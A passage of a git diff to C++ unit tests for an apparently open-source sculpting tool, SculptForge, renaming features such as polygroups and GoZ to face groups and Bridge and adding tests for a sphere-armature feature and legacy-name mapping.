+ CHECK(d.mesh.facegroups.size() == nt / 2 && d.mesh.uvs.size() == nt * 3 / 2);
CHECK(d.mesh.layers.size() == 1 && d.mesh.layers[0].delta.size() == nv / 2 && d.mesh.base.size() == nv / 2);
int wrong = 0;
for (uint32_t v = 0; v < d.mesh.vertexCount(); ++v) {
@@ -324,7 +324,7 @@ TEST(delete_hidden_compacts_attributes) {
if (d.mesh.layers[0].delta[v].z != p.x) ++wrong;
}
CHECK(wrong == 0);
- for (uint32_t t = 0; t < d.mesh.triangleCount(); ++t) CHECK(d.mesh.polygroups[t] == 1u);
+ for (uint32_t t = 0; t < d.mesh.triangleCount(); ++t) CHECK(d.mesh.facegroups[t] == 1u);
CHECK(d.mesh.uvs[0].x == float(nt / 2 * 3)); // corner UVs follow their triangle
// Picking still works on the compacted mesh (BVH rebuilt).
RayHit hit;
@@ -338,14 +338,14 @@ TEST(delete_hidden_compacts_attributes) {
TEST(hidden_geometry_skipped_by_pick_and_brushes) {
Document d = makeDoc(makeTwoSpheres(3));
CommandRegistry reg;
- CHECK(reg.execute(d, "polygroup_by_connectivity").ok);
- CHECK(reg.execute(d, "isolate_polygroup", {{"group", 1.0}}).ok);
+ CHECK(reg.execute(d, "facegroup_by_connectivity").ok);
+ CHECK(reg.execute(d, "isolate_facegroup", {{"group", 1.0}}).ok);
// A ray at the hidden left sphere passes through; the visible one is still hit.
RayHit hit;
CHECK(!d.bvh.raycast(d.mesh, glm::vec3(-1.5f, 0, 5), glm::vec3(0, 0, -1), hit));
CHECK(d.bvh.raycast(d.mesh, glm::vec3(1.5f, 0, 5), glm::vec3(0, 0, -1), hit));
- CHECK(d.mesh.polygroupAt(hit.triangle) == 1);
+ CHECK(d.mesh.facegroupAt(hit.triangle) == 1);
// brushVertices excludes hidden vertices.
std::vector<uint32_t> verts;
diff --git a/tests/test_forgespheres.cpp b/tests/test_forgespheres.cpp
new file mode 100644
index 00000000..e09770e2
--- /dev/null
+++ b/tests/test_forgespheres.cpp
@@ -0,0 +1,203 @@
+// SculptForge - open source digital sculpting
+// SPDX-License-Identifier: GPL-3.0-or-later
+//
+// Forge Spheres (src/core/Forge Spheres.cpp): the armature edits and their symmetry, the display mesh, the skin, the
+// Forge Sphere_* commands with undo, and projects.
+#include "TestHarness.h"
+
+#include "core/BVH.h"
+#include "core/Commands.h"
+#include "core/Project.h"
+#include "core/ForgeSpheres.h"
+
+#include <cmath>
+#include <set>
+
+using namespace sf;
+using glm::vec3;
+
+namespace {
+
+// A small figure: root body, a head above, one arm out to +X mirrored to -X.
+std::vector<ForgeSphere> figure(Symmetry sym = {true, false, false}) {
+ std::vector<ForgeSphere> s{{vec3(0.0f), 0.5f, -1}};
+ forgesphereAdd(s, 0, vec3(0, 0.8f, 0), 0.3f, sym);
+ forgesphereAdd(s, 0, vec3(0.9f, 0.1f, 0), 0.2f, sym);
+ return s;
+}
+
+bool watertight(const Mesh& m) {
+ std::map<std::pair<uint32_t, uint32_t>, int> edges;
+ for (const glm::uvec3& t : m.triangles)
+ for (int k = 0; k < 3; ++k) {
+ const uint32_t a = t[k], b = t[(k + 1) % 3];
+ ++edges[{std::min(a, b), std::max(a, b)}];
+ }
+ for (const auto& [e, n] : edges)
+ if (n != 2) return false;
+ return !edges.empty();
+}
+
+} // namespace
+
+TEST(forgespheres_symmetric_edits) {
+ const auto s = figure();
+ // Head on the plane: one sphere. The arm: a sphere and its mirror.
+ CHECK(s.size() == 4);
+ CHECK(s[1].parent == 0 && std::abs(s[1].center.x) < 1e-6f);
+ CHECK(s[2].center.x > 0.0f && s[3].center.x < 0.0f && s[3].parent == 0);
+ CHECK(forgesphereMirror(s, 2, vec3(-1, 1, 1)) == 3 && forgesphereMirror(s, 1, vec3(-1, 1, 1)) == 1);
+ CHECK(forgespheresValidate(s).empty());
+
+ // A hand on the arm: its mirror grows from the mirrored arm.
+ auto t = s;
+ int hand = -1;
+ CHECK(forgesphereAdd(t, 2, vec3(1.4f, 0.1f, 0), 0.15f, {true, false, false}, &hand));
+ CHECK(hand == 4 && t.size() == 6 && t[5].parent == 3 && std::abs(t[5].center.x + 1.4f) < 1e-6f);
+
+ // Moving the arm moves its mirror; the head stays on the plane when dragged across it.
+ CHECK(forgesphereSet(t, 2, vec3(1.0f, 0.3f, 0.1f), 0.25f, {true, false, false}));
+ CHECK(glm::length(t[3].center - vec3(-1.0f, 0.3f, 0.1f)) < 1e-6f && std::abs(t[3].radius - 0.25f) < 1e-6f);
+ CHECK(forgesphereSet(t, 1, vec3(0.2f, 0.9f, 0), 0.3f, {true, false, false}));
+ CHECK(t[1].center.x == 0.0f && std::abs(t[1].center.y - 0.9f) < 1e-6f);
+ // Without symmetry only the one sphere moves.
+ CHECK(forgesphereSet(t, 2, vec3(1.2f, 0.3f, 0.1f), 0.25f, {false, false, false}));
+ CHECK(std::abs(t[3].center.x + 1.0f) < 1e-6f);
+
+ // Deleting the arm takes the hand, and with symmetry the other arm and hand; indices close up.
+ auto d = s;
+ forgesphereAdd(d, 2, vec3(1.4f, 0.1f, 0), 0.15f, {true, false, false});
+ CHECK(forgesphereDelete(d, 2, {true, false, false}));
+ CHECK(d.size() == 2 && forgespheresValidate(d).empty());
+ CHECK(!forgesphereDelete(d, 0, {true, false, false})); // never the root
+ CHECK(!forgesphereAdd(d, 7, vec3(0.0f), 0.1f, {})); // bad parent: untouched
+ CHECK(d.size() == 2);
+
+ // Inserting on a link puts a joint halfway, between the child and its old parent (both sides).
+ auto in = s;
+ int joint = -1;
+ CHECK(forgesphereInsert(in, 2, {true, false, false}, &joint));
+ CHECK(joint == 4 && in.size() == 6 && in[2].parent == 4 && in[4].parent == 0 && in[3].parent == 5);
+ CHECK(glm::length(in[4].center - vec3(0.45f, 0.05f, 0)) < 1e-6f);
+ CHECK(forgespheresValidate(in).empty());
+}
+
+TEST(forgespheres_validate_and_json) {
+ const auto s = figure();
+ const auto back = forgespheresFromJson(forgespheresToJson(s));
+ CHECK(back.size() == s.size());
+ for (size_t i = 0; i < s.size() && i < back.size(); ++i)
+ CHECK(back[i].center == s[i].center && back[i].radius == s[i].radius && back[i].parent == s[i].parent);
+ std::vector<ForgeSphere> loop{{vec3(0.0f), 1.0f, -1}, {vec3(1.0f), 1.0f, 2}, {vec3(2.0f), 1.0f, 1}};
+ CHECK(!forgespheresValidate(loop).empty());
+ CHECK(forgespheresFromJson(forgespheresToJson(loop)).empty());
+ CHECK(!forgespheresValidate({{vec3(0.0f), 0.0f, -1}}).empty());
+ CHECK(!forgespheresValidate({{vec3(0.0f), 1.0f, 0}}).empty());
+ CHECK(forgespheresFromJson(Json::array()).empty());
+}
+
+TEST(forgespheres_display_mesh_groups) {
+ const auto s = figure();
+ const Mesh m = forgesphereDisplayMesh(s);
+ CHECK(m.forgespheres.size() == s.size() && m.colors.size() == m.vertexCount() && m.facegroups.size() == m.triangleCount());
+ std::set<uint32_t> groups(m.facegroups.begin(), m.facegroups.end());
+ CHECK(groups.size() == s.size() + (s.size() - 1)); // a group per sphere and per link
+ bool link = true;
+ CHECK(forgesphereOfGroup(kForgeSphereGroup + 3, &link) == 3 && !link);
+ CHECK(forgesphereOfGroup(kForgeSphereLinkGroup + 2, &link) == 2 && link);
+ CHECK(forgesphereOfGroup(0) == -1);
+ // A ray at the arm sphere's centre hits the arm sphere's group.
+ BVH bvh;
+ bvh.build(m);
+ RayHit hit;
+ CHECK(bvh.raycast(m, vec3(0.9f, 0.1f, 5.0f), vec3(0, 0, -1), hit));
+ CHECK(forgesphereOfGroup(m.facegroupAt(hit.triangle), &link) == 2 && !link);
+}
+
+TEST(forgespheres_skin) {
+ const auto s = figure();
+ const Mesh skin = forgesphereSkin(s, 64, 2);
+ CHECK(skin.triangleCount() > 1000 && skin.forgespheres.empty());
+ CHECK(watertight(skin));
+ CHECK(skin.quadCount() * 2 * 10 >= skin.triangleCount() * 9); // (nearly) all quads
+ // Covers every sphere: the bounds reach the head top and both hands, give or take a cell.
+ const AABB b = skin.bounds();
+ const float cell = 2.0f * 1.25f / 64.0f;
+ CHECK(std::abs(b.max.y - 1.1f) < 2.0f * cell);
+ CHECK(std::abs(b.max.x - 1.1f) < 2.0f * cell && std::abs(b.min.x + 1.1f) < 2.0f * cell);
+ // Symmetric across X like the armature.
+ CHECK(std::abs(b.max.x + b.min.x) < cell);
+ // One face group per link.
+ std::set<uint32_t> groups(skin.facegroups.begin(), skin.facegroups.end());
+ CHECK(groups.size() == s.size() - 1);
+ // A lone root is a sphere.
+ const Mesh ball = forgesphereSkin({{vec3(1, 2, 3), 0.5f, -1}}, 48, 1);
+ CHECK(ball.triangleCount() > 0 && watertight(ball));
+ float worst = 0.0f;
+ for (const vec3& p : ball.positions) worst = std::max(worst, std::abs(glm::length(p - vec3(1, 2, 3)) - 0.5f));
+ CHECK(worst < 0.05f);
+}
+
+TEST(forgespheres_commands_and_undo) {
+ Document doc;
+ CommandRegistry reg;
+ CHECK(!reg.execute(doc, "forgesphere_add", {{"parent", 0.0}, {"position", std::string("1,0,0")}}).ok); // not a Forge Sphere Part
+ CHECK(reg.execute(doc, "forgesphere_new", {{"radius", 0.5}}).ok);
+ CHECK(doc.partCount() == 2 && doc.parts[1].name == "Forge Sphere" && doc.mesh.forgespheres.size() == 1);
+ CHECK(reg.execute(doc, "forgesphere_add", {{"parent", 0.0}, {"position", std::string("0.9,0,0")}, {"radius", 0.25},
+ {"symmetry", std::string("x")}}).ok);
+ CHECK(doc.mesh.forgespheres.size() == 3);
+ CHECK(reg.execute(doc, "forgesphere_set", {{"index", 1.0}, {"radius", 0.3}, {"symmetry", std::string("x")}}).ok);
+ CHECK(std::abs(doc.mesh.forgespheres[2].radius - 0.3f) < 1e-6f);
+ CHECK(!reg.execute(doc, "forgesphere_delete", {{"index", 0.0}}).ok);
+ CHECK(reg.execute(doc, "forgesphere_list").message.find("3 spheres") == 0);
+
+ // Each edit is one undo step, and undo brings the armature back with the mesh.
+ CHECK(doc.undo.undo(doc.mesh, doc.bvh));
+ CHECK(std::abs(doc.mesh.forgespheres[2].radius - 0.25f) < 1e-6f);
+ CHECK(doc.undo.undo(doc.mesh, doc.bvh));
+ CHECK(doc.mesh.forgespheres.size() == 1);
+ CHECK(doc.undo.redo(doc.mesh, doc.bvh) && doc.undo.redo(doc.mesh, doc.bvh));
+ CHECK(doc.mesh.forgespheres.size() == 3);
+
+ // Preview swaps the spheres for the skin and back, keeping the armature.
+ const size_t sphereTris = doc.mesh.triangleCount();
+ CHECK(reg.execute(doc, "forgesphere_preview", {{"on", true}}).ok);
+ CHECK(doc.mesh.forgespherePreview && doc.mesh.forgespheres.size() == 3 && doc.mesh.triangleCount() != sphereTris);
+ CHECK(reg.execute(doc, "forgesphere_add", {{"parent", 0.0}, {"position", std::string("0,0.7,0")}}).ok);
+ CHECK(doc.mesh.forgespherePreview && doc.mesh.forgespheres.size() == 4); // edits while previewing keep previewing
+ CHECK(reg.execute(doc, "forgesphere_preview").ok && !doc.mesh.forgespherePreview);
+
+ // Make Mesh: a new sculptable Part below, the Forge Sphere Part hidden and kept.
+ CHECK(reg.execute(doc, "forgesphere_make_mesh", {{"resolution", 48.0}}).ok);
+ CHECK(doc.partCount() == 3 && doc.activePart == 2 && doc.parts[2].name == "Forge Sphere Mesh");
+ CHECK(doc.mesh.forgespheres.empty() && watertight(doc.mesh));
+ CHECK(!doc.parts[1].visible && doc.partMesh(1).forgespheres.size() == 4);
+ CHECK(!reg.execute(doc, "forgesphere_make_mesh").ok); // the new mesh is not a Forge Sphere Part
+ // keep=false replaces the Forge Sphere Part.
+ doc.selectPart(1);
+ CHECK(reg.execute(doc, "forgesphere_make_mesh", {{"resolution", 32.0}, {"keep", false}}).ok);
+ CHECK(doc.partCount() == 3 && doc.parts[doc.activePart].name == "Forge Sphere Mesh 2");
+ for (int i = 0; i < doc.partCount(); ++i) CHECK(doc.partMesh(i).forgespheres.empty());
+}
+
+TEST(forgespheres_project_roundtrip) {
+ Document doc;
+ CommandRegistry reg;
+ CHECK(reg.execute(doc, "forgesphere_new").ok);
+ CHECK(reg.execute(doc, "forgesphere_add", {{"parent", 0.0}, {"position", std::string("0.8,0.2,0")}, {"radius", 0.2},
+ {"symmetry", std::string("x")}}).ok);
+ CHECK(reg.execute(doc, "forgesphere_preview", {{"on", true}}).ok);
+ doc.selectPart(0); // the Forge Sphere Part saved while inactive too
+ const std::string path = tempPath("sf_forgespheres.sfproj");
+ std::string err;
+ CHECK(saveProject(path, doc, err));
+ Document back;
+ CHECK(loadProject(path, back, err));
+ CHECK(back.partCount() == 2 && back.partMesh(0).forgespheres.empty());
+ const Mesh& z = back.partMesh(1);
+ CHECK(z.forgespheres.size() == 3 && z.forgespherePreview && z.triangleCount() == doc.partMesh(1).triangleCount());
+ back.selectPart(1);
+ CHECK(reg.execute(back, "forgesphere_preview", {{"on", false}}).ok && back.mesh.forgespheres.size() == 3);
+ std::filesystem::remove(path);
+}
diff --git a/tests/test_generated_remesh.cpp b/tests/test_generated_remesh.cpp
index 75c3d1a1..ddb039cb 100644
--- a/tests/test_generated_remesh.cpp
+++ b/tests/test_generated_remesh.cpp
@@ -13,7 +13,7 @@
#include "core/Multires.h"
#include "core/Primitives.h"
#include "core/QRemesh.h"
-#include "core/SubTools.h"
+#include "core/Parts.h"
#include <glm/glm.hpp>
diff --git a/tests/test_ghost.cpp b/tests/test_ghost.cpp
index 3f4dc459..0d304b23 100644
--- a/tests/test_ghost.cpp
+++ b/tests/test_ghost.cpp
@@ -84,7 +84,7 @@ TEST(ghost_follows_other_kernels_on_a_plane) {
// Kernels that use only the area frame and the falloff match on a plane up to float noise; Clay and Flatten
// pull towards a plane through the area centre, which the frame carries.
Mesh plane = makePlane(120);
- for (BrushType t : {BrushType::Inflate, BrushType::Crease, BrushType::Pinch, BrushType::DamStandard, BrushType::Clay,
+ for (BrushType t : {BrushType::Inflate, BrushType::Crease, BrushType::Pinch, BrushType::SharpCrease, BrushType::Clay,
BrushType::Flatten, BrushType::Trim}) {
DabParams p;
p.center = glm::vec3(0.05f, 0.0f, 0.0f);
@@ -114,7 +114,7 @@ TEST(ghost_estimates_a_curved_surface_closely) {
TEST(ghost_kinds_cover_the_displacement_brushes) {
CHECK(ghostKindForBrush(int(BrushType::Standard)) == GhostKind::Standard);
CHECK(ghostKindForBrush(int(BrushType::Clay)) == GhostKind::Clay);
- CHECK(ghostKindForBrush(int(BrushType::ClayBuildup)) == GhostKind::ClayBuildup);
+ CHECK(ghostKindForBrush(int(BrushType::ClayBlock)) == GhostKind::ClayBlock);
CHECK(ghostKindForBrush(int(BrushType::Trim)) == GhostKind::Trim);
CHECK(ghostKindForBrush(int(BrushType::Smooth)) == GhostKind::None);
CHECK(ghostKindForBrush(int(BrushType::Layer)) == GhostKind::None);
diff --git a/tests/test_guide.cpp b/tests/test_guide.cpp
index 87d620d5..e47e23f1 100644
--- a/tests/test_guide.cpp
+++ b/tests/test_guide.cpp
@@ -57,7 +57,7 @@ TEST(guide_slugs) {
CHECK(slugify("Mask by cavity") == "mask-by-cavity");
CHECK(slugify("Subdivide, remesh & decimate") == "subdivide-remesh--decimate"); // GitHub keeps both dashes
CHECK(slugify("Send to Unreal (Ctrl+U)") == "send-to-unreal-ctrlu");
- CHECK(slugify("GoZ / ZBrush") == "goz--zbrush");
+ CHECK(slugify("Bridge / Classic") == "bridge--classic");
CHECK(slugify("Image & text to 3D") == "image--text-to-3d");
}
@@ -148,7 +148,7 @@ const std::map<std::string, std::string>& sampleBook() {
{"welcome.md", "# Welcome to SculptForge\n\nSculpt things. Masking is covered later.\n"},
{"masking.md", "# Masking\n\nProtect areas from brushes.\n\n## Mask by cavity\n\nMasks the crevices of the "
"model, so you can paint dirt into them. Cavity masking needs detail.\n"},
- {"glossary.md", "# Glossary\n\n| ZBrush | SculptForge |\n|---|---|\n| DynaMesh | Voxel remesh |\n"},
+ {"glossary.md", "# Glossary\n\n| Word | SculptForge |\n|---|---|\n| Blockout | Voxel remesh |\n"},
};
return files;
}
@@ -183,7 +183,7 @@ TEST(guide_book_and_search) {
// Every word must appear; tables are searchable.
CHECK(book.search("dirt crevices").size() == 1);
CHECK(book.search("dirt glossary").empty());
- CHECK(book.search("dynamesh").size() == 1);
+ CHECK(book.search("blockout").size() == 1);
CHECK(book.search(" ").empty());
CHECK(book.search("masking").size() >= 3); // titles and text in two chapters
diff --git a/tests/test_integration_v02.cpp b/tests/test_integration_v02.cpp
index 6e552635..f12d0e87 100644
--- a/tests/test_integration_v02.cpp
+++ b/tests/test_integration_v02.cpp
@@ -1,18 +1,19 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// v0.2 cross-feature checks: masking, polygroups/visibility, the new brushes
-// and alphas, polypaint, project files and GoZ working on the same mesh.
+// v0.2 cross-feature checks: masking, face groups/visibility, the new brushes
+// and alphas, vertex paint, project files and Bridge working on the same mesh.
#include "TestHarness.h"
#include "core/Commands.h"
#include "core/Masking.h"
-#include "core/Polygroups.h"
-#include "core/Polypaint.h"
+#include "core/FaceGroups.h"
+#include "core/VertexPaint.h"
#include "core/Primitives.h"
#include "core/Project.h"
#include "core/Sculpt.h"
-#include "io/GozIO.h"
+#include "io/BridgeIO.h"
+#include "io/BridgeProtocol.h"
#include <cmath>
#include <filesystem>
@@ -105,15 +106,15 @@ TEST(v02_every_brush_and_alpha_respects_painted_mask) {
}
}
-// The mask stroke, polygroups built from it and visibility: brushes, polypaint
+// The mask stroke, face groups built from it and visibility: brushes, vertex paint
// and the mask commands all leave the hidden half alone.
-TEST(v02_hidden_polygroup_is_untouched_by_brushes_paint_and_mask) {
+TEST(v02_hidden_facegroup_is_untouched_by_brushes_paint_and_mask) {
Document d = maskedPlane();
- CHECK(run(d, "polygroup_from_mask"));
- const uint32_t leftGroup = d.mesh.polygroupAt(0) != 0 ? d.mesh.polygroupAt(0) : nextPolygroupId(d.mesh) - 1;
+ CHECK(run(d, "facegroup_from_mask"));
+ const uint32_t leftGroup = d.mesh.facegroupAt(0) != 0 ? d.mesh.facegroupAt(0) : nextFaceGroupId(d.mesh) - 1;
CHECK(run(d, "mask_clear"));
CHECK(!d.mesh.hasMask());
- CHECK(run(d, "hide_polygroup", {{"group", double(leftGroup)}}));
+ CHECK(run(d, "hide_facegroup", {{"group", double(leftGroup)}}));
CHECK(d.mesh.hasHidden());
size_t hiddenVerts = 0;
for (uint32_t v = 0; v < d.mesh.vertexCount(); ++v) {
@@ -125,7 +126,7 @@ TEST(v02_hidden_polygroup_is_untouched_by_brushes_paint_and_mask) {
// New brushes mirrored onto the hidden half.
const auto before = d.mesh.positions;
- for (BrushType type : {BrushType::DamStandard, BrushType::ClayBuildup, BrushType::Layer, BrushType::Nudge}) {
+ for (BrushType type : {BrushType::SharpCrease, BrushType::ClayBlock, BrushType::Layer, BrushType::Nudge}) {
CHECK(d.sculptor.beginStroke(d.mesh, brushName(type)));
d.sculptor.dab(d.mesh, d.bvh, type, dabOn(glm::vec3(0.5f, 0.0f, 0.0f), 0.3f), Symmetry{true, false, false});
d.undo.push(d.sculptor.endStroke());
@@ -150,7 +151,7 @@ TEST(v02_hidden_polygroup_is_untouched_by_brushes_paint_and_mask) {
// show_all brings both groups back; undoing everything restores the plane.
CHECK(run(d, "show_all"));
- CHECK(visiblePolygroupCount(d.mesh) == 2);
+ CHECK(visibleFaceGroupCount(d.mesh) == 2);
const Mesh plane = makePlane(48);
while (d.undo.canUndo()) d.undo.undo(d.mesh, d.bvh);
CHECK(d.mesh.positions == plane.positions);
@@ -171,12 +172,12 @@ TEST(v02_sculpt_and_paint_share_one_stroke) {
const DabParams p = dabOn(glm::vec3(0.0f), 0.4f);
CHECK(d.sculptor.beginStroke(d.mesh, "Standard"));
paintDab(d.sculptor, d.mesh, d.bvh, p, green, Symmetry{});
- d.sculptor.dab(d.mesh, d.bvh, BrushType::ClayBuildup, p, Symmetry{});
+ d.sculptor.dab(d.mesh, d.bvh, BrushType::ClayBlock, p, Symmetry{});
CHECK(d.mesh.colors != col && d.mesh.positions != pos);
d.sculptor.restoreStroke(d.mesh, d.bvh);
CHECK(d.mesh.colors == col && d.mesh.positions == pos);
paintDab(d.sculptor, d.mesh, d.bvh, p, green, Symmetry{});
- d.sculptor.dab(d.mesh, d.bvh, BrushType::ClayBuildup, p, Symmetry{});
+ d.sculptor.dab(d.mesh, d.bvh, BrushType::ClayBlock, p, Symmetry{});
d.undo.push(d.sculptor.endStroke());
CHECK(d.dirty());
CHECK(d.undo.undo(d.mesh, d.bvh));
@@ -188,12 +189,12 @@ TEST(v02_sculpt_and_paint_share_one_stroke) {
// all of it, through the commands the CLI/Python/MCP use.
TEST(v02_project_keeps_attributes_made_by_the_features) {
Document d = maskedPlane();
- CHECK(run(d, "polygroup_from_mask"));
+ CHECK(run(d, "facegroup_from_mask"));
CHECK(run(d, "mask_blur", {{"iterations", 2.0}}));
CHECK(run(d, "paint_fill", {{"color", std::string("skin")}}));
CHECK(run(d, "paint_from_cavity"));
- CHECK(run(d, "hide_polygroup", {{"group", double(nextPolygroupId(d.mesh) - 1)}}));
- CHECK(d.mesh.hasMask() && d.mesh.hasColors() && d.mesh.hasPolygroups() && d.mesh.hasHidden());
+ CHECK(run(d, "hide_facegroup", {{"group", double(nextFaceGroupId(d.mesh) - 1)}}));
+ CHECK(d.mesh.hasMask() && d.mesh.hasColors() && d.mesh.hasFaceGroups() && d.mesh.hasHidden());
CHECK(d.dirty());
const std::string path = tempPath("sf_v02_integration.sfproj");
@@ -205,7 +206,7 @@ TEST(v02_project_keeps_attributes_made_by_the_features) {
CHECK(back.mesh.positions == d.mesh.positions);
CHECK(back.mesh.mask == d.mesh.mask);
CHECK(back.mesh.colors == d.mesh.colors);
- CHECK(back.mesh.polygroups == d.mesh.polygroups);
+ CHECK(back.mesh.facegroups == d.mesh.facegroups);
CHECK(back.mesh.hidden == d.mesh.hidden);
CHECK(!back.dirty());
// The reopened scene keeps working: commands still honour the hidden part.
@@ -217,44 +218,44 @@ TEST(v02_project_keeps_attributes_made_by_the_features) {
std::filesystem::remove(path, ec);
}
-// GoZ carries mask, polypaint and polygroups made by the new tools (but has
+// Bridge carries mask, vertex paint and face groups made by the new tools (but has
// no hidden flag), and delete_hidden keeps the attributes aligned for export.
-TEST(v02_goz_keeps_mask_paint_and_groups) {
+TEST(v02_bridge_keeps_mask_paint_and_groups) {
Document d = maskedPlane();
- CHECK(run(d, "polygroup_from_mask"));
+ CHECK(run(d, "facegroup_from_mask"));
CHECK(run(d, "paint_fill", {{"color", std::string("#336699")}, {"area", std::string("masked")}}));
- const std::string path = tempPath("sf_v02_integration.GoZ");
- CHECK(run(d, "goz_export", {{"path", path}, {"name", std::string("Plane")}}));
+ const std::string path = tempPath((std::string("sf_v02_integration") + bridgefile::kExt).c_str());
+ CHECK(run(d, "bridge_export", {{"path", path}, {"name", std::string("Plane")}}));
Document back;
- CHECK(run(back, "goz_import", {{"path", path}}));
- CHECK(back.gozName == "Plane");
+ CHECK(run(back, "bridge_import", {{"path", path}}));
+ CHECK(back.bridgeName == "Plane");
CHECK(back.mesh.vertexCount() == d.mesh.vertexCount());
CHECK(back.mesh.triangleCount() == d.mesh.triangleCount());
- CHECK(back.mesh.hasMask() && back.mesh.hasColors() && back.mesh.hasPolygroups());
+ CHECK(back.mesh.hasMask() && back.mesh.hasColors() && back.mesh.hasFaceGroups());
float maskErr = 0.0f, colorErr = 0.0f;
for (uint32_t v = 0; v < d.mesh.vertexCount() && v < back.mesh.vertexCount(); ++v) {
maskErr = std::max(maskErr, std::abs(back.mesh.mask[v] - d.mesh.mask[v]));
colorErr = std::max(colorErr, glm::length(back.mesh.colors[v] - d.mesh.colors[v]));
}
- CHECK(maskErr < 0.01f); // GoZ stores the mask as 16 bits
- CHECK(colorErr < 0.02f); // and polypaint as 8-bit sRGB
+ CHECK(maskErr < 0.01f); // Bridge stores the mask as 16 bits
+ CHECK(colorErr < 0.02f); // and vertex paint as 8-bit sRGB
size_t groupsDiffer = 0;
for (uint32_t t = 0; t < d.mesh.triangleCount() && t < back.mesh.triangleCount(); ++t)
- groupsDiffer += (back.mesh.polygroupAt(t) == back.mesh.polygroupAt(0)) != (d.mesh.polygroupAt(t) == d.mesh.polygroupAt(0));
+ groupsDiffer += (back.mesh.facegroupAt(t) == back.mesh.facegroupAt(0)) != (d.mesh.facegroupAt(t) == d.mesh.facegroupAt(0));
CHECK(groupsDiffer == 0);
// Deleting the hidden half compacts every attribute, and the result still exports.
- CHECK(run(back, "hide_polygroup", {{"group", double(back.mesh.polygroupAt(0))}}));
+ CHECK(run(back, "hide_facegroup", {{"group", double(back.mesh.facegroupAt(0))}}));
CHECK(run(back, "delete_hidden"));
CHECK(back.mesh.triangleCount() > 0 && back.mesh.triangleCount() < d.mesh.triangleCount());
CHECK(back.mesh.mask.size() == back.mesh.vertexCount());
CHECK(back.mesh.colors.size() == back.mesh.vertexCount());
- CHECK(back.mesh.polygroups.empty() || back.mesh.polygroups.size() == back.mesh.triangleCount());
- CHECK(run(back, "goz_export", {{"path", path}}));
+ CHECK(back.mesh.facegroups.empty() || back.mesh.facegroups.size() == back.mesh.triangleCount());
+ CHECK(run(back, "bridge_export", {{"path", path}}));
Mesh again;
std::string err;
- CHECK(loadGoz(path, again, err));
+ CHECK(loadBridge(path, again, err));
CHECK(again.triangleCount() == back.mesh.triangleCount());
std::error_code ec;
std::filesystem::remove(path, ec);
@@ -264,10 +265,10 @@ TEST(v02_goz_keeps_mask_paint_and_groups) {
TEST(v02_commands_registered_together) {
for (const char* name :
{"mask_clear", "mask_all", "mask_invert", "mask_blur", "mask_sharpen", "mask_grow", "mask_shrink",
- "mask_by_cavity", "mask_by_polygroup", "mask_rect", "mask_lasso", "polygroup_auto_by_normals", "polygroup_by_connectivity",
- "polygroup_from_mask", "polygroup_clear", "polygroup_merge_visible", "hide_polygroup", "isolate_polygroup",
+ "mask_by_cavity", "mask_by_facegroup", "mask_rect", "mask_lasso", "facegroup_auto_by_normals", "facegroup_by_connectivity",
+ "facegroup_from_mask", "facegroup_clear", "facegroup_merge_visible", "hide_facegroup", "isolate_facegroup",
"show_all", "invert_visibility", "hide_rect", "hide_lasso", "delete_hidden", "brush_set_alpha", "set_color", "paint_fill",
- "paint_clear", "paint_from_cavity", "export_ply", "goz_import", "goz_export", "goz_send", "goz_receive",
+ "paint_clear", "paint_from_cavity", "export_ply", "bridge_import", "bridge_export", "bridge_send", "bridge_receive",
"export_stl", "save_project", "open_project"})
CHECK(registry().find(name) != nullptr);
}
diff --git a/tests/test_legacy_names.cpp b/tests/test_legacy_names.cpp
new file mode 100644
index 00000000..3a0c10db
--- /dev/null
+++ b/tests/test_legacy_names.cpp
@@ -0,0 +1,91 @@
+// SculptForge - open source digital sculpting
+// SPDX-License-Identifier: GPL-3.0-or-later
+//
+// core/LegacyNames.h: the old words files from older versions use are read and mapped to today's names. The old
+// words are spelled only in docs/legal/trademarks.md, so these tests take them from there.
+#include "TestHarness.h"
+
+#include "core/Commands.h"
+#include "core/LegacyNames.h"
+#include "core/Sculpt.h"
+
+#include <cctype>
+#include <fstream>
+#include <iterator>
+#include <map>
+#include <regex>
+#include <sstream>
+#include <string>
+
+using namespace sf;
+
+namespace {
+
+// Today's word -> the old word, from the table in docs/legal/trademarks.md.
+std::map<std::string, std::string> oldWords() {
+ std::ifstream f(std::string(SF_TEST_DATA_DIR) + "/../../docs/legal/trademarks.md");
+ std::stringstream s;
+ s << f.rdbuf();
+ const std::string text = s.str();
+ std::map<std::string, std::string> out;
+ const std::regex row(R"(\| W\d+ \| `([^`]+)` \| `([^`]+)` \| `0x([0-9A-F]+)` \|)");
+ for (std::sregex_iterator it(text.begin(), text.end(), row), end; it != end; ++it) out[(*it)[2]] = (*it)[1];
+ return out;
+}
+
+std::string capitalised(std::string s) {
+ if (!s.empty()) s[0] = char(std::toupper(static_cast<unsigned char>(s[0])));
+ return s;
+}
+
+} // namespace
+
+TEST(legacy_names_match_the_trademarks_table) {
+ const auto words = oldWords();
+ CHECK(words.size() == std::size(legacy::kWords));
+ for (const legacy::Word& w : legacy::kWords) {
+ const auto it = words.find(std::string(w.lower));
+ CHECK(it != words.end());
+ if (it == words.end()) continue;
+ CHECK(legacy::hash(it->second) == w.hash && it->second.size() == w.length);
+ CHECK(legacy::modernize(it->second) == w.lower);
+ CHECK(legacy::modernize(capitalised(it->second)) == w.title);
+ }
+ CHECK(legacy::modernize("brush.standard") == "brush.standard");
+ CHECK(!legacy::isOld("part_list layout=classic Lit Spheres"));
+}
+
+TEST(legacy_names_read_old_files_and_scripts) {
+ const auto old = oldWords();
+ if (old.size() < 12) {
+ CHECK(false);
+ return;
+ }
+ // Ids, keys, command names and folder names keep their case and the text around them.
+ CHECK(legacy::modernize("brush." + old.at("sharpcrease")) == "brush.sharpcrease");
+ CHECK(legacy::modernize("active" + capitalised(old.at("part"))) == "activePart");
+ CHECK(legacy::modernize(old.at("part") + "s/0/mesh/" + old.at("facegroup") + "s.bin") == "parts/0/mesh/facegroups.bin");
+ std::string upper = old.at("litsphere");
+ for (char& c : upper) c = char(std::toupper(static_cast<unsigned char>(c)));
+ CHECK(legacy::modernize("view." + upper) == "view.LITSPHERE");
+ CHECK(legacy::modernize(capitalised(old.at("litsphere")) + "s") == "LitSpheres");
+
+ // Brush names in projects and brush files.
+ BrushType t = BrushType::Standard;
+ CHECK(brushFromName(old.at("sharpcrease"), t) && t == BrushType::SharpCrease);
+ CHECK(brushFromName(capitalised(old.at("clayblock")), t) && t == BrushType::ClayBlock);
+
+ // JSON keys (projects, ui.json); values stay as they are.
+ Json j = Json::object();
+ j.set(old.at("library") + "Open", true);
